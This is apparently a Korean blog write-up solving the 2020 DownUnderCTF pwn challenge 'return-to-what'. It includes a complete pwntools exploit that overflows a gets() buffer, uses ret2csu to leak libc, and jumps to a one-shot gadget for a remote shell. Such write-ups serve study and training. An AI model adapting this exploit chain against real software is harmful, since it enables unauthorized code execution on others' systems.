tmxklab

2020 DownUnderCTF - [pwn] return-to-what 본문

CTF 문제

2020 DownUnderCTF - [pwn] return-to-what

tmxk4221 2020. 9. 21. 16:24

1. 문제확인

바이너리 파일이 주어진다.

 

1) mitigation 확인

 

2) main() → vuln()

__int64 vuln()
{
  char v1; // [rsp+0h] [rbp-30h]

  puts("Where would you like to return to?");
  return gets(&v1);
}

카나리도 안걸려있고 gets()로 bof쌉가능

 


2. 문제 풀이

 

pop rdi; ret가젯이 없는 줄 알고 rtc로 gets주소 릭하고 하위 1.5바이트로 libc찾아냄

하위 3비트 : 0x0b0

 

libc 다운받아서 원샷 가젯을 찾음

 

원샷 가젯 실행하면 된다.

 

1) 익스코드

from pwn import *

#context.log_level = "debug"

#p = process("./return-to-what")
p = remote("chal.duc.tf", 30003)
#gdb.attach(p)

e = ELF("./return-to-what")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so")

vuln_addr = e.symbols['vuln']
gets_got = e.got['gets']
puts_got = e.got['puts']

gets_offset = libc.symbols['gets']
#oneshot_offset = 0x4f2c5
#oneshot_offset = 0x4f322
oneshot_offset = 0x10a38c

init_stage1 = 0x401222
init_stage2 = 0x401208

# 1. leak gets() addr
payload = "A"*0x38
payload += p64(init_stage1)  
payload += p64(0)		# pop rbx
payload += p64(1)		# pop rbp
payload += p64(puts_got)	# pop r12 -> call [r12 + rbx*8]
payload += p64(gets_got)        # pop r13 -> mov edi, r13d
payload += p64(0)               # pop r14 -> mov rsi, r14
payload += p64(0)               # pop r15 -> mov rdx, r15
payload += p64(init_stage2)

# 2. return to main
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
payload += p64(7)
payload += p64(vuln_addr)

p.sendlineafter("to?\n", payload)

gets_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = gets_addr - gets_offset
oneshot = libc_base + oneshot_offset

# 3. execute oneshot
payload = "A"*0x38
payload += p64(oneshot)

p.sendlineafter("\n", payload)

p.interactive()

 

2) 실행결과

 

 

사실 pop rdi; ret가젯 있어서 바로 rop로 조져도 된다... 나는 저 가젯이 없는줄 알고 rtc로 바로 진행했다.

 

return-to-what
0.02MB

Comments